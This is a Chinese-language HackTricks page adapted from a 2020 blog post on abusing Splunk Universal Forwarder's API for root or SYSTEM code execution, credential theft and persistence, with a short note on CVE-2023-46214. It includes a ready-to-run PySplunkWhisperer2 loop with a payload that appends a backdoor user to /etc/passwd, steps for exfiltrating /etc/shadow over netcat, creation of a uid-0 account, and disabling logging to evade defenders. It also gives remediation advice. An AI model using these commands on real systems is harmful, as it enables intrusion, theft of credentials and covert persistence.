hacktricks/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md

14 KiB
Raw Blame History

Splunk LPE 和持久性

通过 htARTE (HackTricks AWS 红队专家)从零开始学习 AWS 黑客攻击!

支持 HackTricks 的其他方式:

如果您在内部外部对机器进行枚举时发现运行着Splunk(端口 8090如果您幸运地知道任何有效的凭据,您可以滥用 Splunk 服务执行 shell作为运行 Splunk 的用户。如果是 root 在运行它,您可以将权限提升到 root。

此外,如果您已经是 root 并且 Splunk 服务没有仅在 localhost 上监听,您可以窃取 Splunk 服务的密码文件,并破解密码,或者向其中添加新凭据。并在主机上保持持久性。

在下面的第一张图片中,您可以看到 Splunkd 网页的外观。

以下信息来自 https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/

滥用 Splunk Forwarders 以获取 Shell 和持久性

2020年8月14日

描述:

Splunk Universal Forwarder AgentUF允许经过身份验证的远程用户通过 Splunk API 向代理发送单个命令或脚本。UF 代理不验证连接是否来自有效的 Splunk Enterprise 服务器,也不验证代码是否已签名或以其他方式证明来自 Splunk Enterprise 服务器。这允许攻击者获得 UF 代理密码的权限在服务器上以 SYSTEM 或 root 身份运行任意代码,具体取决于操作系统。

渗透测试人员正在使用此攻击,并且恶意攻击者可能正在积极地在野外利用此攻击。获得密码可能导致客户环境中数百个系统的妥协。

Splunk UF 密码相对容易获取,有关详细信息,请参见常见密码位置部分。

背景:

Splunk 是一个数据聚合和搜索工具通常用作安全信息和事件监控SIEM系统。Splunk Enterprise Server 是一个在服务器上运行的 Web 应用程序,有称为 Universal Forwarders 的代理安装在网络中的每个系统上。Splunk 为 Windows、Linux、Mac 和 Unix 提供代理二进制文件。许多组织使用 Syslog 将数据发送到 Splunk而不是在 Linux/Unix 主机上安装代理,但代理安装越来越受欢迎。

Universal Forwarder 可以在每个主机上通过 https://host:8089 访问。访问任何受保护的 API 调用,例如 /service/,会弹出一个基本认证框。用户名始终是 admin密码默认曾经是 changeme直到 2016 年 Splunk 要求任何新安装设置 8 个字符或更高的密码。正如您在我的演示中注意到的,复杂性不是要求,因为我的代理密码是 12345678。远程攻击者可以在没有锁定的情况下暴力破解密码这是日志主机的必要条件因为如果账户被锁定那么日志将不再发送到 Splunk 服务器,攻击者可以使用此来隐藏他们的攻击。以下屏幕截图显示了 Universal Forwarder 代理,此初始页面无需认证即可访问,并可用于枚举运行 Splunk Universal Forwarder 的主机。

0

Splunk 文档显示使用相同的 Universal Forwarding 密码用于所有代理,我不确定这是否是要求,或者是否可以为每个代理设置单独的密码,但基于文档和我作为 Splunk 管理员的记忆,我相信所有代理必须使用相同的密码。这意味着如果在一个系统上找到或破解了密码,它很可能适用于所有 Splunk UF 主机。这是我的个人经验,允许快速妥协数百个主机。

常见密码位置:

在网络上,我经常在以下位置找到 Splunk Universal Forwarding 代理的明文密码:

  1. Active Directory Sysvol/domain.com/Scripts 目录。管理员将可执行文件和密码存放在一起,以便高效地安装代理。
  2. 托管 IT 安装文件的网络文件共享
  3. 内部网络上的 Wiki 或其他构建注释存储库

密码也可以在 Windows 主机的 Program Files\Splunk\etc\passwd 和 Linux 和 Unix 主机的 /opt/Splunk/etc/passwd 中以哈希形式访问。攻击者可以尝试使用 Hashcat 破解密码,或者租用云破解环境以增加破解哈希的可能性。密码是强大的 SHA-256 哈希,因此不太可能破解强大、随机的密码。

影响:

拥有 Splunk Universal Forward Agent 密码的攻击者可以完全妥协网络中的所有 Splunk 主机,并在每个主机上获得 SYSTEM 或 root 级别的权限。我已经成功地在 Windows、Linux 和 Solaris Unix 主机上使用了 Splunk 代理。这种漏洞可能允许系统凭据被转储、敏感数据被窃取或安装勒索软件。这种漏洞快速、易于使用且可靠。

由于 Splunk 处理日志,攻击者可以在第一次运行命令时重新配置 Universal Forwarder 以更改 Forwarder 位置,禁用对 Splunk SIEM 的日志记录。这将大大降低被客户端蓝队发现的机会。

Splunk Universal Forwarder 经常安装在域控制器上以收集日志,这可以轻松地让攻击者提取 NTDS 文件、禁用杀毒软件以进行进一步利用和/或修改域。

最后Universal Forwarding Agent 不需要许可证,并且可以单独配置密码。因此,攻击者可以在主机上安装 Universal Forwarder 作为后门持久性机制,因为它是一个合法的应用程序,即使是那些不使用 Splunk 的客户,也不太可能将其删除。

证据:

为了展示一个利用示例,我使用最新版本的 Splunk Enterprise Server 和 Universal Forwarding 代理设置了一个测试环境。共附加了 10 张图片到本报告中,显示以下内容:

1- 通过 PySplunkWhisper2 请求 /etc/passwd 文件

1

2- 通过 Netcat 在攻击者系统上接收 /etc/passwd 文件

2

3- 通过 PySplunkWhisper2 请求 /etc/shadow 文件

3

4- 通过 Netcat 在攻击者系统上接收 /etc/shadow 文件

4

5- 将用户 attacker007 添加到 /etc/passwd 文件中

5

6- 将用户 attacker007 添加到 /etc/shadow 文件中

6

7- 接收新的 /etc/shadow 文件,显示成功添加了 attacker007

7

8- 确认使用 attacker007 账户通过 SSH 访问受害者

8

9- 添加一个后门 root 账户,用户名为 root007uid/gid 设置为 0

9

10- 使用 attacker007 确认 SSH 访问,然后使用 root007 升级到 root

10

此时,我通过 Splunk 和创建的两个用户账户持久地访问了主机,其中一个提供了 root。我可以禁用远程日志记录以掩盖我的行踪并继续使用这个主机攻击系统和网络。

编写 PySplunkWhisperer2 脚本非常简单且有效。

  1. 创建一个文件,其中包含您想要利用的主机的 IP示例名称 ip.txt
  2. 运行以下命令:
for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8089 --username admin --password "12345678" --payload "echo 'attacker007:x:1003:1003::/home/:/bin/bash' >> /etc/passwd" --lhost 192.168.42.51;done

主机信息:

Splunk Enterprise Server192.168.42.114
Splunk Forwarder Agent 受害者192.168.42.98
攻击者192.168.42.51

Splunk Enterprise 版本8.0.5(截至 2020 年 8 月 12 日实验室设置当天的最新版本)
Universal Forwarder 版本8.0.5(截至 2020 年 8 月 12 日实验室设置当天的最新版本)

Splunk, Inc 的修复建议:

我建议实施以下所有解决方案以提供深度防御:

  1. 理想情况下Universal Forwarder 代理根本不会开放端口,而是会定期轮询 Splunk 服务器以获取指令。
  2. 在客户端和服务器之间启用 TLS 双向认证,并为每个客户端使用单独的密钥。这将在所有 Splunk 服务之间提供非常高的双向安全性。TLS 双向认证在代理和物联网设备中得到了大量实施,这是受信任设备客户端到服务器通信的未来。
  3. 将所有代码、单行或脚本文件发送在由 Splunk 服务器加密和签名的压缩文件中。这不保护通过 API 发送的代理数据,但可以防止第三方恶意远程代码执行。

Splunk 客户的修复建议:

  1. 确保为 Splunk 代理设置非常强的密码。我建议至少使用 15 个字符的随机密码,但由于这些密码从不输入,因此可以设置为非常长的密码,例如 50 个字符。
  2. 配置基于主机的防火墙,只允许 Splunk 服务器连接到 8089/TCP 端口Universal Forwarder 代理的端口)。

红队的建议:

  1. 下载每个操作系统的 Splunk Universal Forwarder 副本,因为它是一个很好的轻量级签名植入物。好在 Splunk 实际修复此问题的情况下保留一份副本。

其他研究人员的漏洞/博客

可用的公共漏洞:

相关博客文章:

** 注意:** 这个问题是 Splunk 系统的一个严重问题,多年来已被其他测试人员利用。虽然远程代码执行是 Splunk Universal Forwarder 的预期功能,但其实现方式却很危险。我试图通过 Splunk 的漏洞赏金计划提交这个漏洞,非常不可能他们不知道设计的影响,但被告知任何漏洞提交都实施 Bug Crowd/Splunk 披露政策,该政策规定在没有 Splunk 许可的情况下,不得公开讨论漏洞的任何细节。我请求了一个 90 天的披露时间表并被拒绝。因此,我没有负责任地披露这一点,因为我相当确定 Splunk 知道这个问题并选择忽略它,我觉得这可能严重影响公司,向企业界教育是信息安全社区的责任。

滥用 Splunk 查询

信息来自 https://blog.hrncirik.net/cve-2023-46214-analysis

CVE-2023-46214 允许将任意脚本上传到 $SPLUNK_HOME/bin/scripts,然后解释说使用搜索查询 |runshellscript script_name.sh 可以执行存储在那里的脚本

从零到英雄学习 AWS 黑客攻击,使用 htARTE (HackTricks AWS 红队专家)

支持 HackTricks 的其他方式: